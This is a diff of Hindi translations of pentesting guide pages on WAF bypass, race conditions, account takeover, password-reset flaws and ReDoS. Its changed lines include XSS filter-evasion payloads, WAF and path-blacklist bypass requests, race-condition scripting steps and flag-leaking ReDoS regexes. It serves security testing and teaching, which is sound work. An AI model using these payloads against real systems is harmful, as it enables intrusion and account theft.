अंतिम समाधान [**@terjanq**](https://twitter.com/terjanq) द्वारा [**निम्नलिखित**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html) है:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
|
@ -74,8 +74,8 @@ deny all;
|
||||
|
||||
### पथ भ्रम
|
||||
|
||||
[**इस पोस्ट में**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) बताया गया है कि ModSecurity v3 (3.0.12 तक), **`REQUEST_FILENAME`** वेरिएबल को गलत तरीके से लागू किया गया था, जिसे एक्सेस किए गए पथ (पैरामीटर की शुरुआत तक) को शामिल करना था। इसका कारण यह है कि इसने पथ प्राप्त करने के लिए एक URL डिकोड किया।\
|
||||
इसलिए, एक अनुरोध जैसे `http://example.com/foo%3f';alert(1);foo=` में मोड सुरक्षा यह मान लेगी कि पथ केवल `/foo` है क्योंकि `%3f` को `?` में परिवर्तित किया गया है जो URL पथ को समाप्त करता है, लेकिन वास्तव में सर्वर को प्राप्त होने वाला पथ `/foo%3f';alert(1);foo=` होगा।
|
||||
[**इस पोस्ट में**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) बताया गया है कि ModSecurity v3 (3.0.12 तक), **`REQUEST_FILENAME`** वेरिएबल को गलत तरीके से लागू किया गया था, जिसमें वह पथ होना चाहिए था जिसे एक्सेस किया गया था (पैरामीटर की शुरुआत तक)। इसका कारण यह है कि यह पथ प्राप्त करने के लिए एक URL डिकोड करता है।\
|
||||
इसलिए, एक अनुरोध जैसे `http://example.com/foo%3f';alert(1);foo=` में मोड सुरक्षा यह मान लेगा कि पथ केवल `/foo` है क्योंकि `%3f` को `?` में परिवर्तित किया गया है जो URL पथ को समाप्त करता है, लेकिन वास्तव में सर्वर को प्राप्त होने वाला पथ `/foo%3f';alert(1);foo=` होगा।
|
||||
|
||||
वेरिएबल `REQUEST_BASENAME` और `PATH_INFO` भी इस बग से प्रभावित हुए थे।
|
||||
|
||||
@ -85,7 +85,7 @@ Mod Security के संस्करण 2 में कुछ समान ह
|
||||
|
||||
### गलत फ़ॉर्मेटेड हेडर
|
||||
|
||||
[यह शोध](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) बताता है कि HTTP हेडर पर लागू AWS WAF नियमों को बायपास करना संभव था एक "गलत फ़ॉर्मेटेड" हेडर भेजकर जिसे AWS द्वारा सही तरीके से पार्स नहीं किया गया लेकिन बैकएंड सर्वर द्वारा किया गया।
|
||||
[यह शोध](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) बताता है कि HTTP हेडर पर लागू AWS WAF नियमों को "गलत फ़ॉर्मेटेड" हेडर भेजकर बायपास करना संभव था जिसे AWS द्वारा सही तरीके से पार्स नहीं किया गया लेकिन बैकएंड सर्वर द्वारा किया गया।
|
||||
|
||||
उदाहरण के लिए, हेडर X-Query में SQL इंजेक्शन के साथ निम्नलिखित अनुरोध भेजना:
|
||||
```http
|
||||
@ -131,11 +131,11 @@ Connection: close\r\n
|
||||
# Path blacklist bypass - Tomcat
|
||||
/path1/path2/ == ;/path1;foo/path2;bar/;
|
||||
```
|
||||
### Unicode संगतता <a href="#unicode-compatability" id="unicode-compatability"></a>
|
||||
### Unicode Compatability <a href="#unicode-compatability" id="unicode-compatability"></a>
|
||||
|
||||
Unicode सामान्यीकरण के कार्यान्वयन के आधार पर (अधिक जानकारी [यहाँ](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), ऐसे वर्ण जो Unicode संगतता साझा करते हैं, WAF को बायपास करने और इच्छित पेलोड के रूप में निष्पादित करने में सक्षम हो सकते हैं। संगत वर्ण [यहाँ](https://www.compart.com/en/unicode) पाए जा सकते हैं।
|
||||
|
||||
#### उदाहरण <a href="#example" id="example"></a>
|
||||
#### Example <a href="#example" id="example"></a>
|
||||
```bash
|
||||
# under the NFKD normalization algorithm, the characters on the left translate
|
||||
# to the XSS payload on the right
|
||||
@ -149,7 +149,7 @@ Unicode सामान्यीकरण के कार्यान्वय
|
||||
|
||||
इसलिए, यह **एन्कोडेड घटकों में पेलोड्स को छिपाने की अनुमति देता है** जिसे WAF डिकोड और व्याख्या करेगा जबकि पीड़ित नहीं करेगा।
|
||||
|
||||
इसके अलावा, यह केवल URL एन्कोडेड पेलोड्स के साथ ही नहीं बल्कि अन्य एन्कोडिंग जैसे यूनिकोड, हेक्स, ऑक्टल के साथ भी किया जा सकता है...
|
||||
इसके अलावा, यह केवल URL एन्कोडेड पेलोड्स के साथ ही नहीं किया जा सकता है, बल्कि अन्य एन्कोडिंग जैसे यूनिकोड, हेक्स, ऑक्टल के साथ भी किया जा सकता है...
|
||||
|
||||
पोस्ट में निम्नलिखित अंतिम बायपास का सुझाव दिया गया है:
|
||||
|
||||
@ -178,7 +178,7 @@ h2c-smuggling.md
|
||||
|
||||
### Regex बायपास
|
||||
|
||||
फायरवॉल पर regex फ़िल्टर को बायपास करने के लिए विभिन्न तकनीकों का उपयोग किया जा सकता है। उदाहरणों में केस को वैकल्पिक करना, लाइन ब्रेक जोड़ना, और पेलोड्स को एन्कोड करना शामिल हैं। विभिन्न बायपास के लिए संसाधन [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) और [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html) पर पाए जा सकते हैं। नीचे दिए गए उदाहरण [इस लेख](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2) से लिए गए हैं।
|
||||
फायरवॉल पर regex फ़िल्टर को बायपास करने के लिए विभिन्न तकनीकों का उपयोग किया जा सकता है। उदाहरणों में केस को वैकल्पिक करना, लाइन ब्रेक जोड़ना और पेलोड्स को एन्कोड करना शामिल हैं। विभिन्न बायपास के लिए संसाधन [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) और [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html) पर पाए जा सकते हैं। नीचे दिए गए उदाहरण [इस लेख](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2) से लिए गए हैं।
|
||||
```bash
|
||||
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
|
||||
<<script>alert(XSS)</script> #prepending an additional "<"
|
||||
@ -199,11 +199,11 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
|
||||
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
|
||||
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
|
||||
```
|
||||
## Tools
|
||||
## उपकरण
|
||||
|
||||
- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp प्लगइन जो लंबाई के द्वारा WAFs को बायपास करने के लिए अनुरोधों में जंक डेटा जोड़ता है
|
||||
- [**nowafpls**](https://github.com/assetnote/nowafpls): लंबाई के द्वारा WAFs को बायपास करने के लिए अनुरोधों में जंक डेटा जोड़ने के लिए बर्प प्लगइन
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|
||||
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
|
||||
|
@ -9,21 +9,21 @@
|
||||
|
||||
Race conditions का लाभ उठाने में मुख्य बाधा यह सुनिश्चित करना है कि कई अनुरोध एक ही समय में संभाले जाएं, **उनकी प्रोसेसिंग समय में बहुत कम अंतर के साथ—आदर्श रूप से, 1ms से कम**।
|
||||
|
||||
यहां अनुरोधों को समन्वयित करने के लिए कुछ तकनीकें दी गई हैं:
|
||||
यहां आप अनुरोधों को समन्वयित करने के लिए कुछ तकनीकें पा सकते हैं:
|
||||
|
||||
#### HTTP/2 सिंगल-पैकेट हमला बनाम HTTP/1.1 अंतिम-बाइट समन्वय
|
||||
|
||||
- **HTTP/2**: एकल TCP कनेक्शन पर दो अनुरोध भेजने का समर्थन करता है, नेटवर्क जिटर के प्रभाव को कम करता है। हालाँकि, सर्वर-साइड भिन्नताओं के कारण, दो अनुरोध एक सुसंगत race condition शोषण के लिए पर्याप्त नहीं हो सकते हैं।
|
||||
- **HTTP/1.1 'अंतिम-बाइट सिंक'**: 20-30 अनुरोधों के अधिकांश भागों को पूर्व-भेजने की अनुमति देता है, एक छोटे टुकड़े को रोकता है, जिसे फिर एक साथ भेजा जाता है, सर्वर पर समानांतर आगमन प्राप्त करता है।
|
||||
- **HTTP/1.1 'Last-Byte Sync'**: 20-30 अनुरोधों के अधिकांश भागों को पूर्व-भेजने की अनुमति देता है, एक छोटे टुकड़े को रोकता है, जिसे फिर एक साथ भेजा जाता है, सर्वर पर समानांतर आगमन प्राप्त करता है।
|
||||
|
||||
**अंतिम-बाइट सिंक के लिए तैयारी** में शामिल हैं:
|
||||
**Last-Byte Sync के लिए तैयारी** में शामिल हैं:
|
||||
|
||||
1. अंतिम बाइट के बिना हेडर और बॉडी डेटा भेजना बिना स्ट्रीम समाप्त किए।
|
||||
1. अंतिम बाइट के बिना हेडर और बॉडी डेटा भेजना, स्ट्रीम को समाप्त किए बिना।
|
||||
2. प्रारंभिक भेजने के बाद 100ms के लिए रुकना।
|
||||
3. अंतिम फ्रेम को बैच करने के लिए Nagle के एल्गोरिदम का उपयोग करने के लिए TCP_NODELAY को निष्क्रिय करना।
|
||||
4. कनेक्शन को गर्म करने के लिए पिंग करना।
|
||||
|
||||
रोकें गए फ्रेम के बाद के भेजने से एक ही पैकेट में उनकी आगमन होना चाहिए, जिसे Wireshark के माध्यम से सत्यापित किया जा सकता है। यह विधि स्थिर फ़ाइलों पर लागू नहीं होती है, जो आमतौर पर RC हमलों में शामिल नहीं होती हैं।
|
||||
रोकें गए फ्रेम का अगला भेजना एक ही पैकेट में उनके आगमन का परिणाम होना चाहिए, जिसे Wireshark के माध्यम से सत्यापित किया जा सकता है। यह विधि स्थिर फ़ाइलों पर लागू नहीं होती है, जो आमतौर पर RC हमलों में शामिल नहीं होती हैं।
|
||||
|
||||
### सर्वर आर्किटेक्चर के अनुकूलन
|
||||
|
||||
@ -83,15 +83,15 @@ engine.queue(confirmationReq, gate=currentAttempt)
|
||||
# send all the queued requests for this attempt
|
||||
engine.openGate(currentAttempt)
|
||||
```
|
||||
- यह **Repeater** में भी उपलब्ध है, Burp Suite में नए '**Send group in parallel**' विकल्प के माध्यम से।
|
||||
- यह **Repeater** में **Burp Suite** के नए '**Send group in parallel**' विकल्प के माध्यम से भी उपलब्ध है।
|
||||
- **limit-overrun** के लिए आप समूह में **एक ही अनुरोध 50 बार** जोड़ सकते हैं।
|
||||
- **connection warming** के लिए, आप **group** के **शुरुआत** में कुछ **अनुरोध** जोड़ सकते हैं जो वेब सर्वर के कुछ गैर-स्थिर भाग पर हों।
|
||||
- **delaying** प्रक्रिया के लिए **एक अनुरोध और दूसरे** के बीच **दो उप-राज्य चरणों** में, आप **दोनों अनुरोधों के बीच अतिरिक्त अनुरोध जोड़ सकते हैं**।
|
||||
- **multi-endpoint** RC के लिए, आप **request** भेजना शुरू कर सकते हैं जो **hidden state** की ओर जाता है और फिर इसके तुरंत बाद **50 requests** जो **hidden state** का लाभ उठाते हैं।
|
||||
- **delaying** प्रक्रिया के लिए **एक अनुरोध और दूसरे** के बीच **प्रसंस्करण** में 2 उप-राज्य चरणों में, आप **दोनों अनुरोधों के बीच अतिरिक्त अनुरोध जोड़ सकते हैं**।
|
||||
- **multi-endpoint** RC के लिए, आप **request** भेजना शुरू कर सकते हैं जो **hidden state** की ओर जाता है और फिर इसके तुरंत बाद **50 अनुरोध** जो **hidden state** का लाभ उठाते हैं।
|
||||
|
||||
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Automated python script**: इस स्क्रिप्ट का लक्ष्य एक उपयोगकर्ता का ईमेल बदलना है जबकि इसे लगातार सत्यापित किया जा रहा है जब तक कि नए ईमेल का सत्यापन टोकन अंतिम ईमेल पर नहीं पहुंचता (यह इसलिए है क्योंकि कोड में एक RC देखा जा रहा था जहां एक ईमेल को संशोधित करना संभव था लेकिन सत्यापन पुराने पर भेजा जा रहा था क्योंकि ईमेल को इंगित करने वाला चर पहले से पहले वाले के साथ भरा हुआ था)।\
|
||||
- **Automated python script**: इस स्क्रिप्ट का लक्ष्य एक उपयोगकर्ता के ईमेल को बदलना है जबकि इसे लगातार सत्यापित किया जा रहा है जब तक कि नए ईमेल का सत्यापन टोकन अंतिम ईमेल पर नहीं पहुंचता (यह इसलिए है क्योंकि कोड में एक RC देखा जा रहा था जहां एक ईमेल को संशोधित करना संभव था लेकिन सत्यापन पुराने पर भेजा गया था क्योंकि ईमेल को इंगित करने वाला चर पहले से पहले वाले के साथ भरा हुआ था)।\
|
||||
जब प्राप्त ईमेल में "objetivo" शब्द पाया जाता है, तो हम जानते हैं कि हमें बदले गए ईमेल का सत्यापन टोकन प्राप्त हुआ है और हम हमले को समाप्त कर देते हैं।
|
||||
```python
|
||||
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
||||
@ -231,7 +231,7 @@ response = requests.get(url, verify=False)
|
||||
पिछले शोध से पहले, कुछ पेलोड थे जो केवल पैकेट को जितनी जल्दी हो सके भेजने की कोशिश करते थे ताकि एक RC का कारण बन सके।
|
||||
|
||||
- **रीपीटर:** पिछले अनुभाग से उदाहरण देखें।
|
||||
- **इंट्रूडर**: **इंट्रूडर** को **अनुरोध** भेजें, **विकल्प मेनू में** **थ्रेड्स की संख्या** को **30** पर सेट करें, और पेलोड के रूप में **नल पेलोड** का चयन करें और **30** उत्पन्न करें।
|
||||
- **इंट्रूडर**: **इंट्रूडर** को **अनुरोध** भेजें, **विकल्प मेनू में 30** को **थ्रेड्स की संख्या** के रूप में सेट करें, और **नल पेलोड्स** के रूप में पेलोड का चयन करें और **30** उत्पन्न करें।
|
||||
- **टर्बो इंट्रूडर**
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
@ -329,7 +329,7 @@ asyncio.run(main())
|
||||
|
||||
### अन्य ईमेल की पुष्टि करें
|
||||
|
||||
विचार यह है कि **एक ईमेल पते की पुष्टि करें और इसे एक अलग में बदलें** यह देखने के लिए कि क्या प्लेटफ़ॉर्म नए को बदलने की पुष्टि करता है।
|
||||
विचार यह है कि **एक ईमेल पते की पुष्टि करें और इसे एक अलग में बदलें** यह देखने के लिए कि क्या प्लेटफ़ॉर्म नए परिवर्तित को सत्यापित करता है।
|
||||
|
||||
### ईमेल को 2 ईमेल पते कुकी आधारित में बदलें
|
||||
|
||||
@ -341,7 +341,7 @@ asyncio.run(main())
|
||||
|
||||
यदि **2 अलग-अलग लेखन** का उपयोग करके **जानकारी** को **डेटाबेस** के अंदर **जोड़ा** जाता है, तो एक छोटा सा समय होता है जहाँ **केवल पहला डेटा डेटाबेस के अंदर लिखा गया है**। उदाहरण के लिए, जब एक उपयोगकर्ता बनाया जाता है, तो **उपयोगकर्ता नाम** और **पासवर्ड** को **लिखा** जा सकता है और **फिर टोकन** को नए बनाए गए खाते की पुष्टि करने के लिए लिखा जाता है। इसका मतलब है कि एक छोटे समय के लिए **खाते की पुष्टि करने के लिए टोकन शून्य है**।
|
||||
|
||||
इसलिए **एक खाता पंजीकृत करना और तुरंत पुष्टि करने के लिए एक खाली टोकन के साथ कई अनुरोध भेजना** (`token=` या `token[]=` या किसी अन्य भिन्नता) एक खाते की पुष्टि करने की अनुमति दे सकता है जहाँ आप ईमेल को नियंत्रित नहीं करते हैं।
|
||||
इसलिए **एक खाता पंजीकृत करना और तुरंत पुष्टि करने के लिए एक खाली टोकन के साथ कई अनुरोध भेजना** (`token=` या `token[]=` या किसी अन्य भिन्नता) एक ऐसा खाता **पुष्टि करने की अनुमति दे सकता है** जहाँ आप ईमेल को नियंत्रित नहीं करते हैं।
|
||||
|
||||
**इसका परीक्षण करें** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **।**
|
||||
|
||||
@ -362,15 +362,15 @@ session['enforce_mfa'] = True
|
||||
|
||||
#### `authorization_code` में रेस कंडीशन
|
||||
|
||||
**समस्या** तब उत्पन्न होती है जब आप **इसे स्वीकार करते हैं** और स्वचालित रूप से एक **`authorization_code`** को दुर्भावनापूर्ण एप्लिकेशन को भेजते हैं। फिर, यह **एप्लिकेशन OAUth सेवा प्रदाता में रेस कंडीशन का दुरुपयोग करता है ताकि आपके खाते के लिए **`authorization_code`** से एक से अधिक AT/RT (_Authentication Token/Refresh Token_) उत्पन्न कर सके। मूल रूप से, यह इस तथ्य का दुरुपयोग करेगा कि आपने एप्लिकेशन को अपने डेटा तक पहुँचने की अनुमति दी है ताकि **कई खाते बनाए जा सकें**। फिर, यदि आप **एप्लिकेशन को अपने डेटा तक पहुँचने की अनुमति देना बंद कर देते हैं, तो एक जोड़ी AT/RT हटा दी जाएगी, लेकिन अन्य अभी भी मान्य रहेंगी**।
|
||||
**समस्या** तब उत्पन्न होती है जब आप **इसे स्वीकार करते हैं** और स्वचालित रूप से एक **`authorization_code`** को दुर्भावनापूर्ण एप्लिकेशन को भेजते हैं। फिर, यह **एप्लिकेशन OAUth सेवा प्रदाता में रेस कंडीशन का दुरुपयोग करता है ताकि आपके खाते के लिए **`authorization_code`** से एक से अधिक AT/RT (_Authentication Token/Refresh Token_) उत्पन्न कर सके। मूल रूप से, यह इस तथ्य का दुरुपयोग करेगा कि आपने एप्लिकेशन को अपने डेटा तक पहुँचने की अनुमति दी है ताकि **कई खाते बनाए जा सकें**। फिर, यदि आप **एप्लिकेशन को अपने डेटा तक पहुँचने की अनुमति देना बंद कर देते हैं, तो एक जोड़ी AT/RT हटा दी जाएगी, लेकिन अन्य वैध रहेंगी**।
|
||||
|
||||
#### `Refresh Token` में रेस कंडीशन
|
||||
|
||||
एक बार जब आप **एक मान्य RT प्राप्त कर लेते हैं** तो आप **कई AT/RT उत्पन्न करने के लिए इसका दुरुपयोग करने की कोशिश कर सकते हैं** और **यहाँ तक कि यदि उपयोगकर्ता दुर्भावनापूर्ण एप्लिकेशन के लिए अपनी डेटा तक पहुँचने की अनुमतियाँ रद्द कर देता है, तो भी **कई RTs अभी भी मान्य रहेंगी।**
|
||||
एक बार जब आप **एक मान्य RT प्राप्त कर लेते हैं** तो आप **कई AT/RT उत्पन्न करने के लिए इसका दुरुपयोग करने की कोशिश कर सकते हैं** और **यहां तक कि यदि उपयोगकर्ता दुर्भावनापूर्ण एप्लिकेशन के लिए अपनी डेटा तक पहुँचने की अनुमतियाँ रद्द कर देता है, तो भी **कई RTs वैध रहेंगी।**
|
||||
|
||||
## **RC वेब सॉकेट्स में**
|
||||
|
||||
[**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) में आप एक PoC पा सकते हैं जो Java में वेब सॉकेट संदेशों को **समानांतर** में भेजने के लिए है ताकि **वेब सॉकेट्स में रेस कंडीशन्स का भी दुरुपयोग किया जा सके**।
|
||||
[**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) में आप एक PoC पा सकते हैं जो Java में वेब सॉकेट संदेशों को **समानांतर** में भेजने के लिए है ताकि **वेब सॉकेट्स में रेस कंडीशंस का दुरुपयोग किया जा सके**।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
@ -43,7 +43,7 @@ saml-attacks/
|
||||
|
||||
### ईमेल बदलें
|
||||
|
||||
जब पंजीकृत हों तो ईमेल बदलने का प्रयास करें और जांचें कि क्या यह परिवर्तन सही ढंग से मान्य किया गया है या इसे मनमाने ईमेल में बदल सकते हैं।
|
||||
जब पंजीकृत हों तो ईमेल बदलने का प्रयास करें और जांचें कि क्या यह परिवर्तन सही ढंग से मान्य है या इसे मनमाने ईमेल में बदल सकते हैं।
|
||||
|
||||
### अधिक जांचें
|
||||
|
||||
@ -100,9 +100,9 @@ email=victim@mail.com|hacker@mail.com
|
||||
पासवर्ड रीसेट टोकन को हर बार यादृच्छिक रूप से उत्पन्न और अद्वितीय होना चाहिए।\
|
||||
यह निर्धारित करने की कोशिश करें कि क्या टोकन समाप्त होता है या यह हमेशा समान होता है, कुछ मामलों में उत्पन्न करने का एल्गोरिदम कमजोर होता है और इसे अनुमानित किया जा सकता है। निम्नलिखित चर एल्गोरिदम द्वारा उपयोग किए जा सकते हैं।
|
||||
|
||||
- टाइमस्टैम्प
|
||||
- Timestamp
|
||||
- UserID
|
||||
- उपयोगकर्ता का ईमेल
|
||||
- User का ईमेल
|
||||
- पहला नाम और अंतिम नाम
|
||||
- जन्म तिथि
|
||||
- क्रिप्टोग्राफी
|
||||
@ -119,7 +119,7 @@ email=victim@mail.com|hacker@mail.com
|
||||
|
||||
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
||||
|
||||
1. सिस्टम पर एक उपयोगकर्ता नाम के साथ पंजीकरण करें जो पीड़ित के उपयोगकर्ता नाम के समान हो, लेकिन उपयोगकर्ता नाम के पहले और/या बाद में खाली स्थान डाले गए हों। जैसे: `"admin "`
|
||||
1. सिस्टम पर एक उपयोगकर्ता नाम के साथ पंजीकरण करें जो पीड़ित के उपयोगकर्ता नाम के समान हो, लेकिन उपयोगकर्ता नाम के पहले और/या बाद में सफेद स्थान डाला गया हो। जैसे: `"admin "`
|
||||
2. अपने दुर्भावनापूर्ण उपयोगकर्ता नाम के साथ पासवर्ड रीसेट का अनुरोध करें।
|
||||
3. अपने ईमेल पर भेजे गए टोकन का उपयोग करें और पीड़ित का पासवर्ड रीसेट करें।
|
||||
4. नए पासवर्ड के साथ पीड़ित खाते में लॉगिन करें।
|
||||
@ -129,7 +129,7 @@ email=victim@mail.com|hacker@mail.com
|
||||
|
||||
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
||||
|
||||
1. एप्लिकेशन के अंदर या एक उपडोमेन में XSS खोजें यदि कुकीज़ मूल डोमेन के लिए स्कोप की गई हैं: `*.domain.com`
|
||||
1. एप्लिकेशन के अंदर या एक उपडोमेन में XSS खोजें यदि कुकीज़ को पैरेंट डोमेन पर स्कोप किया गया है: `*.domain.com`
|
||||
2. वर्तमान **सत्र कुकी** लीक करें।
|
||||
3. कुकी का उपयोग करके उपयोगकर्ता के रूप में प्रमाणीकरण करें।
|
||||
|
||||
|
@ -1,39 +1,39 @@
|
||||
# Regular expression Denial of Service - ReDoS
|
||||
# नियमित अभिव्यक्ति सेवा से इनकार - ReDoS
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
# Regular Expression Denial of Service (ReDoS)
|
||||
# नियमित अभिव्यक्ति सेवा से इनकार (ReDoS)
|
||||
|
||||
एक **Regular Expression Denial of Service (ReDoS)** तब होता है जब कोई व्यक्ति नियमित अभिव्यक्तियों (पाठ में पैटर्न खोजने और मिलाने का एक तरीका) के काम करने के तरीके में कमजोरियों का लाभ उठाता है। कभी-कभी, जब नियमित अभिव्यक्तियों का उपयोग किया जाता है, तो वे बहुत धीमी हो सकती हैं, विशेष रूप से यदि वे जिस पाठ के साथ काम कर रही हैं वह बड़ा हो जाता है। यह धीमापन इतना खराब हो सकता है कि यह पाठ के आकार में छोटे-छोटे बढ़ोतरी के साथ तेजी से बढ़ता है। हमलावर इस समस्या का उपयोग करके एक कार्यक्रम बना सकते हैं जो नियमित अभिव्यक्तियों का उपयोग करता है, लंबे समय तक सही तरीके से काम करना बंद कर देता है।
|
||||
एक **नियमित अभिव्यक्ति सेवा से इनकार (ReDoS)** तब होता है जब कोई नियमित अभिव्यक्तियों (पाठ में पैटर्न खोजने और मेल खाने का एक तरीका) के काम करने के तरीके में कमजोरियों का लाभ उठाता है। कभी-कभी, जब नियमित अभिव्यक्तियाँ उपयोग की जाती हैं, तो वे बहुत धीमी हो सकती हैं, विशेष रूप से यदि जिस पाठ के साथ वे काम कर रही हैं वह बड़ा हो जाता है। यह धीमापन इतना बुरा हो सकता है कि यह पाठ के आकार में छोटे-छोटे बढ़ोतरी के साथ तेजी से बढ़ता है। हमलावर इस समस्या का उपयोग करके एक कार्यक्रम बना सकते हैं जो नियमित अभिव्यक्तियों का उपयोग करता है, लंबे समय तक सही तरीके से काम करना बंद कर देता है।
|
||||
|
||||
## The Problematic Regex Naïve Algorithm
|
||||
## समस्याग्रस्त Regex नासमझ एल्गोरिदम
|
||||
|
||||
**Check the details in [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-\_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
|
||||
**विवरण देखें [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-\_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
|
||||
|
||||
## Evil Regexes <a href="#evil-regexes" id="evil-regexes"></a>
|
||||
## दुष्ट Regexes <a href="#evil-regexes" id="evil-regexes"></a>
|
||||
|
||||
एक बुरी नियमित अभिव्यक्ति पैटर्न वह है जो **निर्मित इनपुट पर अटक सकता है जिससे DoS होता है**। बुरी regex पैटर्न आमतौर पर समूह के साथ पुनरावृत्ति और पुनरावृत्ति या वैकल्पिकता के साथ ओवरलैपिंग होती है। बुरी पैटर्न के कुछ उदाहरण हैं:
|
||||
एक दुष्ट नियमित अभिव्यक्ति पैटर्न वह है जो **निर्मित इनपुट पर अटक सकता है जिससे DoS होता है**। दुष्ट regex पैटर्न आमतौर पर समूह के साथ पुनरावृत्ति और पुनरावृत्ति या वैकल्पिकता के साथ ओवरलैपिंग होते हैं। दुष्ट पैटर्न के कुछ उदाहरण हैं:
|
||||
|
||||
- (a+)+
|
||||
- ([a-zA-Z]+)\*
|
||||
- (a|aa)+
|
||||
- (a|a?)+
|
||||
- (.\*a){x} for x > 10
|
||||
- (.\*a){x} जहाँ x > 10
|
||||
|
||||
ये सभी इनपुट `aaaaaaaaaaaaaaaaaaaaaaaa!` के प्रति संवेदनशील हैं।
|
||||
|
||||
## ReDoS Payloads
|
||||
## ReDoS पेलोड्स
|
||||
|
||||
### String Exfiltration via ReDoS
|
||||
### ReDoS के माध्यम से स्ट्रिंग एक्सफिल्ट्रेशन
|
||||
|
||||
एक CTF (या बग बाउंटी) में शायद आप **Regex को नियंत्रित करते हैं जिससे संवेदनशील जानकारी (झंडा) मेल खाती है**। फिर, यदि यह **पृष्ठ को फ्रीज (टाइमआउट या लंबे प्रोसेसिंग समय)** करने के लिए उपयोगी हो सकता है यदि **Regex मेल खाता है** और **नहीं यदि यह मेल नहीं खाता**। इस तरह आप **एक-एक करके** स्ट्रिंग **निकालने** में सक्षम होंगे:
|
||||
एक CTF (या बग बाउंटी) में शायद आप **नियमित अभिव्यक्ति को नियंत्रित करते हैं जिससे संवेदनशील जानकारी (झंडा) मेल खाती है**। फिर, यदि एक **नियमित अभिव्यक्ति मेल खाती है** और **यदि यह मेल नहीं खाती है तो नहीं** तो **पृष्ठ को फ्रीज (टाइमआउट या लंबे प्रोसेसिंग समय)** करना उपयोगी हो सकता है। इस तरह आप **एक-एक करके** स्ट्रिंग **निकालने** में सक्षम होंगे:
|
||||
|
||||
- In [**this post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) you can find this ReDoS rule: `^(?=<flag>)((.*)*)*salt$`
|
||||
- Example: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
|
||||
- In [**this writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) you can find this one:`<flag>(((((((.*)*)*)*)*)*)*)!`
|
||||
- In [**this writeup**](https://ctftime.org/writeup/25869) he used: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
|
||||
- [**इस पोस्ट**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) में आप इस ReDoS नियम को पा सकते हैं: `^(?=<flag>)((.*)*)*salt$`
|
||||
- उदाहरण: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
|
||||
- [**इस लेख में**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) आप इसे पा सकते हैं: `<flag>(((((((.*)*)*)*)*)*)*)!`
|
||||
- [**इस लेख में**](https://ctftime.org/writeup/25869) उन्होंने इसका उपयोग किया: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
|
||||
|
||||
### ReDoS Controlling Input and Regex
|
||||
### ReDoS नियंत्रित इनपुट और Regex
|
||||
|
||||
निम्नलिखित **ReDoS** उदाहरण हैं जहाँ आप **इनपुट** और **regex** दोनों को **नियंत्रित** करते हैं:
|
||||
```javascript
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
- HTTP referer हेडर पासवर्ड रीसेट टोकन को लीक कर सकता है यदि यह URL में शामिल है। यह तब हो सकता है जब एक उपयोगकर्ता पासवर्ड रीसेट का अनुरोध करने के बाद एक तीसरे पक्ष की वेबसाइट लिंक पर क्लिक करता है।
